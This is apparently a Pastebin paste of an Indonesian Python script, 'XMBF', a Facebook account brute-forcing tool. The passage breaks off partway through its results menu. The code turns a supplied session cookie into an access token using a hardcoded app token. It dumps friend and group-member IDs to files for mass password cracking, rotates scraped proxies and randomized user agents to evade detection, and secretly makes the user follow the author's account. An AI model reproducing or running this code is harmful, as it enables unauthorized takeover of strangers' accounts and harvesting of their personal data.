OBF-XIn

182.3.101.201-/sdcard/kt_2.py.py

Jun 22nd, 2023
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 77.23 KB | None | 0 0
  1. #------------------[ IMPORT MODULE ]-------------------#
  2. import requests,bs4,json,os,sys,random,datetime,time,re,urllib3,rich,base64
  3. from time import sleep
  4. from rich import pretty
  5. from rich.tree import Tree
  6. from rich.panel import Panel
  7. from rich import print as cetak
  8. from rich import print as rprint
  9. from rich import print as prints
  10. from rich.progress import track
  11. from rich.text import Text as tekz
  12. from rich.console import Console
  13. from rich.columns import Columns
  14. from rich.panel import Panel as nel
  15. from rich.panel import Panel as panel
  16. from bs4 import BeautifulSoup as sop
  17. from bs4 import BeautifulSoup as par
  18. from rich.console import Group as gp
  19. from bs4 import BeautifulSoup as parser
  20. from rich.columns import Columns as col
  21. from rich.console import Console as sol
  22. from rich.markdown import Markdown as mark
  23. from concurrent.futures import ThreadPoolExecutor as tred
  24. from concurrent.futures import ThreadPoolExecutor as XyzonXD
  25. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  26. #------------------[  MODULE  ]-------------------#
  27. try:
  28.         import rich
  29. except ImportError:
  30.         cetak(nel('\t• Sedang Menginstall Modul Rich •'))
  31.         os.system('pip install rich')
  32. try:
  33.         import stdiomask
  34. except ImportError:
  35.         cetak(nel('\t• Sedang Menginstall Modul Stdiomask •'))
  36.         os.system('pip install stdiomask')
  37. try:
  38.     import requests
  39. except ImportError:
  40.     cetak(nel('\t• Sedang Menginstall Modul Requests •'))
  41.     os.system('pip install requests && pip install mechanize ')
  42. #------------------[ GLOBAL NAME ]-------------------#
  43. pretty.install()
  44. CON=sol()
  45. wa = Console()
  46. taplikasi=[]
  47. kamu=[]
  48. console = Console()
  49. ses=requests.Session()
  50. id,id2,loop,ok,cp,akun,oprek,lisensiku,tokenku,uid,lisensikuni,method,pwpluss,pwnya= [],[],0,0,0,[],[],[],[],[],[],[],[],[]
  51. ugen2,ugen,dia,cokbrut,dump,memek,ualu,ualuh,lisensikuni,lisensiku,princp=[],[],[],[],[],[],[],[],[],[],[]
  52. sys.stdout.write('\x1b]2; XMBF | XyzonXD Multi Brute Facebook\x07')
  53. #------------------[ USER-AGENT ]-------------------#
  54. try:
  55.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=80000&country=all&ssl=all&anonymity=all').text
  56.     open('.prox.txt','w').write(prox)
  57. except Exception as e:
  58.     print('[\x1b[1;92m•\x1b[1;97m] [\x1b[1;96mXyzonXD')
  59. prox=open('.prox.txt','r').read().splitlines()
  60. ###----------[ GENERATE USERAGENT ]---------- ###
  61. for xd in range(10000):
  62.     a=random.choice(['3.0','4.4.2','4.4.4','5.0.1','8.0','7.0','6.0','5.0','4.0','4.3.4','7.0.1','8.0.1','3','4','5','6','7','8','9','10','11','12','13'])
  63.     b=random.choice(['3.0','4.4.2','4.4.4','5.0.1','8.0','7.0','6.0','5.0','4.0','4.3.4','7.0.1','8.0.1','3','4','5','6','7','8','9','10','11','12','13'])
  64.     c=random.randrange(73,100)
  65.     d=random.randrange(4200,4900)
  66.     e=random.randrange(40,150)
  67.     uaku=f'Mozilla/5.0 (Linux; Android {a}; SAMSUNG SM-A305FN) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
  68.     ugen2.append(uaku)
  69.  
  70. #------------[ UBAH UA DIH SINI OM ]---------------#
  71. for t in range(10000):
  72.     rr = random.randint
  73.     rifai1=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; V2207) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  74.     rifai2=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; PGBM10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  75.     rifai3=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; V2134) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  76.     rifai4=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; 22041219NY) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  77.     rifai5=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; Infinix X6511B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  78.     rifai6=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; SM-S916B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  79.     rifai7=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  80.     rifai8=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  81.     rifai9=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; Mi A3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  82.     rifai10=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; Mi A2 Lite) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  83.     rifai11=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; SAMSUNG SM-F916B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  84.     rifai12=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; SM-F721B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
  85.     uaku2 = random.choice([rifai1,rifai2,rifai3,rifai4,rifai5,rifai6,rifai7,rifai8,rifai9,rifai10,rifai11,rifai12])
  86.     ugen.append(uaku2)
  87. def uaku():
  88.     try:
  89.         ua=open('bbnew.txt','r').read().splitlines()
  90.         for ub in ua:
  91.             ugen.append(ub)
  92.     except:
  93.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  94.         ua=open('.bbnew.txt','w')
  95.         aa=re.findall('line">(.*?)<',str(a))
  96.         for un in aa:
  97.             ua.write(un+'\n')
  98.         ua=open('.bbnew.txt','r').read().splitlines()
  99. ###----------[ WARNA PRINT RICH ]---------- ###
  100. M2 = "[#FF0000]" # MERAH
  101. H2 = "[#00FF00]" # HIJAU
  102. K2 = "[#FFFF00]" # KUNING
  103. B2 = "[#00C8FF]" # BIRU
  104. P2 = "[#FFFFFF]" # PUTIH
  105. ###----------[ CEK WARNA TEMA ]---------- ###
  106. try:
  107.     file_color = open("data/theme_color","r").read()
  108.     color_text = file_color.split("|")[0]
  109.     color_panel = file_color.split("|")[1]
  110. except:
  111.     color_text = "[#00C8FF]"
  112.     color_panel = "#00C8FF"
  113. #------------[ INDICATION ]---------------#
  114. P = '\x1b[1;97m' # PUTIH
  115. M = '\x1b[1;91m' # MERAH
  116. H = '\x1b[1;92m' # HIJAU
  117. K = '\x1b[1;93m' # KUNING
  118. B = '\x1b[1;94m' # BIRU
  119. U = '\x1b[1;95m' # UNGU
  120. O = '\x1b[1;96m' # BIRU MUDA
  121. N = '\x1b[0m'   # WARNA MATI
  122. #------------[ WARNA-COLOR ]--------------#
  123. P = '\x1b[1;97m'
  124. M = '\x1b[1;91m'
  125. H = '\x1b[1;92m'
  126. K = '\x1b[1;93m'
  127. B = '\x1b[1;94m'
  128. U = '\x1b[1;95m'
  129. O = '\x1b[1;96m'
  130. N = '\x1b[0m'    
  131. Z = "\033[1;30m"
  132. sir = '\033[41m\x1b[1;97m'
  133. x = '\33[m' # DEFAULT
  134. m = '\x1b[1;91m' #RED +
  135. k = '\033[93m' # KUNING +
  136. h = '\x1b[1;92m' # HIJAU +
  137. hh = '\033[32m' # HIJAU -
  138. u = '\033[95m' # UNGU
  139. kk = '\033[33m' # KUNING -
  140. b = '\33[1;96m' # BIRU -
  141. p = '\x1b[0;34m' # BIRU +
  142. asu = random.choice([m,k,h,u,b])
  143. #--------------------[ CONVERTER-BULAN ]--------------#
  144. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  145. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  146. tgl = datetime.datetime.now().day
  147. bln = dic[(str(datetime.datetime.now().month))]
  148. thn = datetime.datetime.now().year
  149. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  150. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  151. #------------------[ MACHINE-SUPPORT ]---------------#
  152. def alvino_xy(u):
  153.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
  154. def clear():
  155.     os.system('clear')
  156. def back():
  157.     login()
  158. def clear():
  159.     if "linux" in sys.platform.lower():os.system("clear")
  160.     elif "win" in sys.platform.lower():os.system("cls")
  161. #------------------[ LOGO-LAKNAT ]-----------------#
  162. def banner():
  163.     cetak(panel(f"""[bold green]  ______               __           _______      
  164. |   __ \.----..--.--.|  |_ .-----.|    ___|.-----..----..----..-----.
  165. |   __ <|   _||  |  ||   _||  -__||    ___||  _  ||   _||  __||  -__|
  166. |______/|__|  |_____||____||_____||___|    |_____||__|  |____||_____|
  167.             """,width=90,padding=(0,4),title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Banner [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  168. #--------------------[ BAGIAN-MASUK ]--------------#
  169. def login():
  170.     try:
  171.         token = open('.token.txt','r').read()
  172.         cok = open('.cok.txt','r').read()
  173.         tokenku.append(token)
  174.         try:
  175.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  176.             sy2 = json.loads(sy.text)['name']
  177.             sy3 = json.loads(sy.text)['id']
  178.             menu(sy2,sy3)
  179.         except KeyError:
  180.             login_lagi334()
  181.         except requests.exceptions.ConnectionError:
  182.             li = '# Problem Internet Connection, Check And Try Again'
  183.             lo = mark(li, style='red')
  184.             sol().print(lo, style='red')
  185.             exit()
  186.     except IOError:
  187.         login_lagi334()
  188.        
  189. def login_lagi334():
  190.     try:
  191.         os.system('clear')
  192.         banner()
  193.         cetak(nel('[bold white]Disarankan Untuk Menggunakan Cookie Yang Masih Fresh Untuk Melakukan Crack Account',width=90,style=f"{color_panel}"))
  194.         asu = random.choice([m,k,h,b,u])
  195.         your_cookies=input(f'  [{h}•{x}] Masukkan Cookies :{asu} ')
  196.         with requests.Session() as r:
  197.             try:
  198.                 r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
  199.                 data = {'access_token': '1348564698517390|007c0a9101b9e1c8ffab727666805038','scope': ''}
  200.                 response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
  201.                 code, user_code = response['code'], response['user_code']
  202.                 verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=1348564698517390%7C007c0a9101b9e1c8ffab727666805038&callback=LeetsharesCallback'.format(code))
  203.                 r.headers.pop('content-type')
  204.                 r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
  205.                 response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
  206.                 if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
  207.                     print(" [•] Cookie Invalid...", end='\r');time.sleep(3.5);print("                     ", end='\r');exit()
  208.                 else:
  209.                     action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
  210.                     fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
  211.                     jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
  212.                     data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
  213.                     r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
  214.                     response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
  215.                     if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
  216.                         r.headers.pop('content-type');r.headers.pop('origin')
  217.                         response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
  218.                         action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
  219.                         fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
  220.                         jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
  221.                         scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
  222.                         display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
  223.                         user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
  224.                         logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
  225.                         auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
  226.                         encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
  227.                         return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
  228.                         r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
  229.                         data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
  230.                         response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
  231.                         windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
  232.                         r.headers.pop('content-type');r.headers.pop('origin')
  233.                         r.headers.update({'referer': 'https://m.facebook.com/',})
  234.                         response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
  235.                         if 'Sukses!' in str(response6):
  236.                             r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
  237.                             response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
  238.                             access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
  239.                             print(f"\n [•] Token : {access_token}")
  240.                             tokenew = open(".token.txt","w").write(access_token)
  241.                             cook= open(".cok.txt","w").write(your_cookies)
  242.                             print("\n [•] Login Berhasil | python run.py");followdong()
  243.             except Exception as e:
  244.                 print(" [•] Cookies Mokad Kontol")
  245.                 os.system('rm -rf .token.txt && rm -rf .cok.txt')
  246.                 print(e)
  247.                 time.sleep(3)
  248.                 back()
  249.     except:pass
  250.            
  251. def followdong():
  252.     try:
  253.         token = open('.token.txt','r').read()
  254.         cokies = open('.cok.txt','r').read()
  255.     except IOError:
  256.         print(' [+] Cookies Kadaluarsa ')
  257.         time.sleep(5)
  258.         login()
  259.     myuid = ('100092627660664')
  260.     try:
  261.         for foll in parser(requests.get(f'https://mbasic.facebook.com/'+myuid,cookies={'cookie':cokies}).text,'html.parser').find_all('a',href=True):
  262.             if '/a/subscribe.php?' in foll.get('href'):
  263.                 x=requests.get('https://mbasic.facebook.com'+foll['href'],cookies = {'cookie':cokies}).text
  264.                 exit()
  265.     except(Exception)as e:print(e)#< Response error
  266.    
  267. #------------------[ BAGIAN-MENU ]----------------#
  268. def menu(my_name,my_id):
  269.     try:
  270.         token = open('.token.txt','r').read()
  271.         cok = open('.cok.txt','r').read()
  272.     except IOError:
  273.         print(' [+] Cookies Kadaluarsa ')
  274.         time.sleep(5)
  275.         login()
  276.     os.system('clear')
  277.     banner()
  278.     off_ = P+"("+M+" Maintenance "+P+")"
  279.     negri = ses.get("http://ip-api.com/json/").json()["country"]
  280.     ip = requests.get("https://api.ipify.org").text
  281.     dia.append(panel(f'[bold white][+[/][bold white]][/] [bold white]Username : [bold green]{my_name}[/]\n[bold white][+[/][bold white]][/] [bold white]User Idz : [bold green]{my_id}[/]\n[bold white][+[/][bold white]][/] [bold white]User Ip  : [bold green]{ip}[/][/] ',width=39,padding=(0,3),title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Data Pengguna [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  282.     dia.append(panel(f'[bold white][+[/][bold white]][/] [bold white]Recode   : [bold green]Zack ID[/]\n[bold white][+[/][bold white]][/] [bold white]Tanggal  : [bold green]{tgl}-{bln}-{thn}[/]\n[bold white][+[/][bold white]][/] [bold white]Kualitas : [bold green]Premium[/][/] ',width=40,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Data Author [bold red]•[bold yellow]•[bold green]•",padding=(0,3),style=f"{color_panel}"))
  283.     console.print(Columns(dia))
  284.     cetak(panel('[bold yellow]Code By Uni Soviet',width=90,padding=(0,30),title=f"[bold red]•[bold yellow]•[bold green]• [bold green]V.2.1.⅔.½ [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  285.     kamu.append(panel(f'[bold white][[bold green]01[bold white]]. Crack ID Secara Publick \n[bold white][[bold green]02[bold white]]. Crack ID Random Massal \n[bold white][[bold green]03[bold white]]. Crack Dari Member Group \n[bold white][[bold green]04[bold white]]. Crack Dari Daftar File ',width=39,padding=(0,3),title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Menu [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  286.     kamu.append(panel(f'[bold white][[bold green]05[bold white]]. Dump ID Untuk Daftar File \n[bold white][[bold green]06[bold white]]. Settings Tema Tools [bold green]Zack \n[bold white][[bold green]07[bold white]]. Chekpoint Detector [bold yellow]Options\n[bold white][[bold green]08[bold white]]. Check Result Crack [bold green]OK[bold white]/[bold yellow]CP ',width=40,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Menu [bold red]•[bold yellow]•[bold green]•",padding=(0,3),style=f"{color_panel}"))
  287.     console.print(Columns(kamu))
  288.     cetak(panel(f'[bold white]Ketikan [bold red]rm[bold white] Untuk Ganti Cookies | Ketikan [bold green]bug[bold white] Untuk Melaporkan Bug Pada Script',width=90,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Warning [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  289.     _____xyzon___xd____ = input(f' [?] Input : ')
  290.     if _____xyzon___xd____ in ['1','01']:
  291.         crack_publik()
  292.     elif _____xyzon___xd____ in ['2','02']:
  293.         crack_massal()
  294.     elif _____xyzon___xd____ in ['3','03']:
  295.         crack_group()
  296.     elif _____xyzon___xd____ in ['4','04']:
  297.         crack_file()
  298.     elif _____xyzon___xd____ in ['5','05']:
  299.         dumpid()
  300.     elif _____xyzon___xd____ in ['6','06']:
  301.         xyzon_ganti_tema()
  302.     elif _____xyzon___xd____ in ['7','07']:
  303.         file_cp()
  304.     elif _____xyzon___xd____ in ['8','08']:
  305.         result()
  306.     elif _____xyzon___xd____ in ['bug','BUG']:
  307.         cetak(panel(f"[bold white]Apapun Bug Pada Script Tolong Laporkan Kepada Saya Agar Bisa Mengembangkan Sc Ini Semakin Dikit Bugnya Semakin Baik Sc Ini , Anda Akan Di Arahkan Ke WhatsApp",width=82,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Report Bug [bold red]•[bold yellow]•[bold green]•",padding=(0,3),style=f"{color_panel}"))
  308.         os.system("xdg-open https://wa.me/+6282176845491?text=Halo+Bang+Saya+Mau+Melaporkan+Bug+Pada+Sc+Mu+Bang")
  309.         time.sleep(3)
  310.         exit()
  311.     elif _____xyzon___xd____ in ['rm','RM']:
  312.         os.system('rm -rf .token.txt')
  313.         os.system('rm -rf .cookie.txt')
  314.         print(f' [+] {m}Anda Akan Di Arahkan Ke Menu Login{x}')
  315.         time.sleep(5)
  316.         login()
  317.     else:
  318.         print(' [+] Pilih Yang Bener Asu ')
  319.         exit()
  320. ###----------[ GANTI WARNA TEMA ]---------- ###
  321. def xyzon_ganti_tema():
  322.         cetak(panel(f"""[bold white][[bold green]01[bold white]]. ganti warna tema merah  [bold white][[bold green]06[bold white]]. ganti warna tema pink
  323. [bold white][[bold green]02[bold white]]. ganti warna tema hijau  [bold white][[bold green]07[bold white]]. ganti warna tema cyan
  324. [bold white][[bold green]03[bold white]]. ganti warna tema kuning [bold white][[bold green]08[bold white]]. ganti warna tema putih
  325. [bold white][[bold green]04[bold white]]. ganti warna tema biru   [bold white][[bold green]09[bold white]]. ganti warna tema orange
  326. [bold white][[bold green]05[bold white]]. ganti warna tema ungu   [bold white][[bold green]10[bold white]]. ganti warna tema abu2""",width=90,padding=(0,7),style=f"{color_panel}"))
  327.         ask = console.input(f" [•] {P2}pilih tema : ")
  328.         if ask in["01","1"]:warna = "[#FF0000]";teks="merah"
  329.         elif ask in["02","2"]:warna = "[#00FF00]";teks="hijau"
  330.         elif ask in["03","3"]:warna = "[#FFFF00]";teks="kuning"
  331.         elif ask in["04","4"]:warna = "[#00C8FF]";teks="biru"
  332.         elif ask in["05","5"]:warna = "[#AF00FF]";teks="ungu"
  333.         elif ask in["06","6"]:warna = "[#FF00FF]";teks="pink"
  334.         elif ask in["07","7"]:warna = "[#00FFFF]";teks="cyan"
  335.         elif ask in["08","8"]:warna = "[#FFFFFF]";teks="putih"
  336.         elif ask in["09","9"]:warna = "[#FF8F00]";teks="orange"
  337.         elif ask in["10"]:warna = "[#AAAAAA]";teks="abu-abu"
  338.         else:
  339.             print(' [+] Pilih Yang Bener Asu ')
  340.             exit()
  341.         open("data/theme_color","w").write(warna+"|"+warna.replace("[","").replace("]",""))
  342.         cetak(panel(f"""[bold white]berhasil mengganti tema ke {teks}, silahkan mulai ulang tools""",width=90,padding=(0,6),style=f"{color_panel}"))
  343.         sys.exit()
  344.  
  345. #-----------------[ DUMP ID ]-----------------#
  346. def dumpid():
  347.     try:
  348.         token = open('.token.txt','r').read()
  349.         cookie = open('.cok.txt','r').read()
  350.         os.mkdir('/sdcard/DUMP-FILE')
  351.     except:pass
  352.     try:
  353.         barelang = input(f" [+] Masukan Id  : ")
  354.         batuampar = input(f" [+] Nama File Dump  : ")
  355.         gajahmada  = ('/sdcard/DUMP-FILE/' + batuampar + '.txt').replace(' ', '_')
  356.         xxx = open(gajahmada, 'w')
  357.         coki = {"cookie":cookie}
  358.         smpn20 = requests.get('https://graph.facebook.com/%s?fields=friends.limit(90000)&access_token=%s'%(barelang,token),cookies=coki).json()
  359.         for sekupang in smpn20['friends']['data']:
  360.             id.append(sekupang['id']+'|'+sekupang['name'])
  361.             xxx.write(sekupang['id']+'|'+sekupang['name']+ '\n')
  362.             print('\r [+] Mengumpulkan %s Id'%(len(id)),end='')
  363.             time.sleep(0.0050)
  364.         print(f"\n [+] Berhasil Dump Id Dari Publik")
  365.         print(f" [+] Salin Output File + [ %s ]"%(gajahmada))
  366.         exit()
  367.     except (KeyError,IOError):
  368.         os.remove(gajahmada)
  369.         print(f" [+] Gagal Dump Id, Kemungkinan Id Tidak Ada")
  370.         exit()
  371. #-----------------[ CRACK GRUP ]-----------------#
  372. def crack_group():
  373.     prints(Panel(f"""[bold white]        Masukan Idz Grup Pastikan Grup Bersifat Publik Bukan Private""",width=87,style=f"{color_panel}"))
  374.     link = input(f' [+] Id Group : ')
  375.     url = 'https://mbasic.facebook.com/'+link
  376.     try:dump_grup(url)
  377.     except KeyboardInterrupt:setting()
  378.     if len(dump)==0:
  379.         exit(f' [+] Gagal Dhump Id Grup, Kemungkinan Grup Private')
  380.     setting()
  381.  
  382. def dump_grup(url):
  383.     try:
  384.         data = parser(ses.get(url, headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1; A1601 Build LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/E7FBAF"}).text, "html.parser")
  385.         for x in data.find_all("table"):
  386.             par = x.text
  387.             if ">" in par.split(" ") or "mengajukan" in par.split(" "):
  388.                 id = re.findall("content_owner_id_new.\w+",str(x))[0].replace("content_owner_id_new.","")
  389.                 if " mengajukan pertanyaan ." in par:nama = par.replace(" mengajukan pertanyaan .","")
  390.                 else:nama = par.split(" > ")[0]
  391.                 if id+"|"+nama in dump:pass
  392.                 else:dump.append(id+"|"+nama)
  393.                 print(f'\r [+] Mengumpulkan {len(id)} Idz...');sys.stdout.flush()
  394.         for z in data.find_all("a"):
  395.             if "Lihat Postingan Lainnya</span" in str(z).split(">"):
  396.                 href = str(z).replace('<a href="','').replace("amp;","").split(" ")[0].replace('"><span>Lihat','')
  397.                 dump_grup("https://mbasic.facebook.com"+href)
  398.     except:dump_grup(url)
  399. #-----------------[ CRACK FILE ]-----------------#
  400. def crack_file():
  401.     try:vin = os.listdir('/sdcard/DUMP-FILE/')
  402.     except FileNotFoundError:
  403.         print(' [+] File Tidak Ditemukan ')
  404.         time.sleep(2)
  405.         exit()
  406.     if len(vin)==0:
  407.         print(' [+] Kamu Tidak Memiliki File Dump ')
  408.         time.sleep(2)
  409.         exit()
  410.     else:
  411.         cih = 0
  412.         lol = {}
  413.         for isi in vin:
  414.             try:hem = open('/sdcard/DUMP-FILE/'+isi,'r').readlines()
  415.             except:continue
  416.             cih+=1
  417.             if cih<100:
  418.                 nom = ''+str(cih)
  419.                 lol.update({str(cih):str(isi)})
  420.                 lol.update({nom:str(isi)})
  421.                 print(f' %s. %s [ %s Idz ]'%(nom,isi,len(hem)))
  422.             else:
  423.                 lol.update({str(cih):str(isi)})
  424.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  425.                 print(' [+] %s. %s [ %s Idz] '%(cih,isi,len(hem)))
  426.         geeh = input(' [+] Pilih : ')
  427.         try:geh = lol[geeh]
  428.         except KeyError:
  429.             print(f' [+] Pilih Yang Bener Kontol ')
  430.             time.sleep(3)
  431.             exit()
  432.         try:lin = open('/sdcard/DUMP-FILE/'+geh,'r').read().splitlines()
  433.         except:
  434.             print(' [+] File Tidak Ditemukan, Coba Lagi Nanti ')
  435.             time.sleep(2)
  436.             exit()
  437.         for xid in lin:
  438.             id.append(xid)
  439.         setting()
  440. #-----------------[ HASIL-CRACK ]-----------------#
  441. def result():
  442.     cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Hasil OK[/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Hasil CP[/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold red]Kembali[/]',width=90,title=f"[bold white]• [/][bold green]List Menu Cek[/][bold white] •[/]",style=f"{color_panel}"))
  443.     kz = input(f' [+] Pilih : ')
  444.     if kz in ['2','02']:
  445.         try:vin = os.listdir('CP')
  446.         except FileNotFoundError:
  447.             print(' [+] File Tidak Di Temukan ')
  448.             time.sleep(3)
  449.             back()
  450.         if len(vin)==0:
  451.             print(' [+] Anda Tidak Memiliki Hasil CP ')
  452.             time.sleep(4)
  453.             back()
  454.         else:
  455.             cih = 0
  456.             lol = {}
  457.             for isi in vin:
  458.                 try:hem = open('CP/'+isi,'r').readlines()
  459.                 except:continue
  460.                 cih+=1
  461.                 if cih<10:
  462.                     nom = '0'+str(cih)
  463.                     lol.update({str(cih):str(isi)})
  464.                     lol.update({nom:str(isi)})
  465.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  466.                 else:
  467.                     lol.update({str(cih):str(isi)})
  468.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  469.             geeh = input(f'\n{P}{x}{H} [+] {x}{P}{x} {P}Select{x} : ')
  470.             try:geh = lol[geeh]
  471.             except KeyError:
  472.                 print(' [+] Pilih Yang Bener Kontol ')
  473.                 exit()
  474.             try:lin = open('CP/'+geh,'r').read().splitlines()
  475.             except:
  476.                 print(' [+] File Tidak Di Temukan ')
  477.                 time.sleep(4)
  478.                 back()
  479.             nocp=0
  480.             for cpku in range(len(lin)):
  481.                 cpkuni=lin[nocp].split('|')
  482.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  483.                 sol().print(mark(cpkuh,style="yellow"))
  484.                 nocp +=1
  485.             input('[ Klik Enter ]')
  486.             back()
  487.     elif kz in ['1','01']:
